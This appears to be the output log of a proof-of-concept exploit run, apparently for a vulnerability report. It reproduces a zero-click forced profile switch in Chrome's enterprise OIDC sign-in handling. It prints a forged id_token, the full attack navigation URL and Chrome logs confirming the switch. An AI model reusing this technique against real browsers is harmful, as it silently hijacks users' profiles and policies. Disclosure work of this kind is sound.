====================================================================
[1/3] Setting up victim precondition: existing OIDC-managed profile
====================================================================
[setup] launching Chrome to init profile 'Default'
[setup] launching Chrome to init profile 'Profile 1'
[setup] seeded OIDC identity into Profile 1: iss:https://login.microsoftonline.com/victim-tenant-id/v2.0,sub:victim-pairwise-sub-abc123
[setup] done

====================================================================
[2/3] Starting redirect server (simulates Azure AD 302 hop)
====================================================================

====================================================================
[3/3] Launching Chrome in the *Default* (source) profile and visiting
      attacker page http://localhost:8081/poc.html
====================================================================

  Host-resolver mapping simulates the production redirect chain that
  an attacker would obtain via a real Azure AD prompt=none redirect
  (Azure AD has a valid cert in production, so --ignore-certificate-
  errors only compensates for the test environment, it does not gate
  the vulnerable code).

  Forged id_token payload (base64url): eyJpc3MiOiAiaHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL3ZpY3RpbS10ZW5hbnQtaWQvdjIuMCIsICJzdWIiOiAidmljdGltLXBhaXJ3aXNlLXN1Yi1hYmMxMjMifQ
  Attack navigation URL: https://login.microsoftonline.com/attacker-tenant/oauth2/v2.0/authorize#access_token=x&id_token=h.eyJpc3MiOiAiaHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL3ZpY3RpbS10ZW5hbnQtaWQvdjIuMCIsICJzdWIiOiAidmljdGltLXBhaXJ3aXNlLXN1Yi1hYmMxMjMifQ.s


====================================================================
RESULT (filtered Chrome log: /poc-artifacts/chrome-output.log)
====================================================================
  40:[1385:1385:0512/132726.232171:VERBOSE1:chrome/browser/enterprise/profile_management/oidc_auth_response_capture_navigation_throttle.cc:257] Valid enrollment URL from OIDC redirection is found: https://chromeenterprise.google/enroll#access_token=x&id_token=h.eyJpc3MiOiJodHRwczovL2xvZ2luLm1pY3Jvc29mdG9ubGluZS5jb20vdmljdGltLXRlbmFudC1pZC92Mi4wIiwic3ViIjoidmljdGltLXBhaXJ3aXNlLXN1Yi1hYmMxMjMifQ.s
  41:[1385:1385:0512/132726.340967:VERBOSE2:chrome/browser/enterprise/profile_management/oidc_auth_response_capture_navigation_throttle.cc:398] OIDC redirection meets all requirements, starting enrollment process.
  42:[1385:1385:0512/132726.341051:VERBOSE2:chrome/browser/enterprise/signin/oidc_authentication_signin_interceptor.cc:169] Existing OIDC profile with match credential found, displaying profile switch dialog.
  45:[1385:1385:0512/132726.686570:VERBOSE2:chrome/browser/enterprise/signin/user_policy_oidc_signin_service.cc:392] Initializing OIDC Signin Service for profile 
  46:[1385:1385:0512/132726.686627:VERBOSE2:chrome/browser/enterprise/signin/user_policy_oidc_signin_service.cc:425] OIDC policy store is not managed, will try to fetch using backup token. 
  47:[1385:1385:0512/132726.686650:VERBOSE2:chrome/browser/enterprise/signin/user_policy_oidc_signin_service.cc:203] Attempting to restore OIDC profile policy via backup DM token
  48:[1385:1385:0512/132726.686690:ERROR:chrome/browser/enterprise/signin/user_policy_oidc_signin_service.cc:208] OIDC policy restoration failed due to missing back up DM token.
  49:[1385:1385:0512/132726.686746:VERBOSE2:chrome/browser/enterprise/signin/oidc_authentication_signin_interceptor.cc:547] Using recovery OIDC token for profile switch due to no registration.
  50:[1385:1385:0512/132726.686773:ERROR:chrome/browser/enterprise/signin/oidc_authentication_signin_interceptor.cc:553] No OIDC recovery token to re-register during profile switch.
  51:[1385:1385:0512/132726.686836:VERBOSE2:chrome/browser/enterprise/signin/oidc_authentication_signin_interceptor.cc:600] Profile switched sucessfully
  52:[1385:1385:0512/132726.686853:VERBOSE2:chrome/browser/enterprise/signin/oidc_authentication_signin_interceptor.cc:603] Starting policy fetch process for OIDC-managed profile
  53:[1385:1385:0512/132726.686873:ERROR:chrome/browser/enterprise/signin/oidc_authentication_signin_interceptor.cc:619] Shutting off GAIA policy service for OIDC policy initializtion process.
  54:[1385:1385:0512/132726.686903:VERBOSE2:chrome/browser/enterprise/signin/user_policy_oidc_signin_service.cc:95] Shutting down user policy signin service in favor of OIDC service
  56:[1385:1385:0512/132727.868103:VERBOSE2:chrome/browser/enterprise/signin/oidc_authentication_signin_interceptor.cc:669] New browser created

--------------------------------------------------------------------
Side-effect on the TARGET profile (Profile 1):
  device_signals.permanent_consent_received = True

  [PASS] Existing OIDC profile with match credential found
  [PASS] Profile switched sucessfully
  [PASS] Shutting off GAIA policy service
  [PASS] New browser created

===> VULNERABILITY REPRODUCED: zero-click forced profile switch
     (ForcedProfileSwitchInterceptionHandle auto-accepted; no UI shown)

Full log: /poc-artifacts/chrome-output.log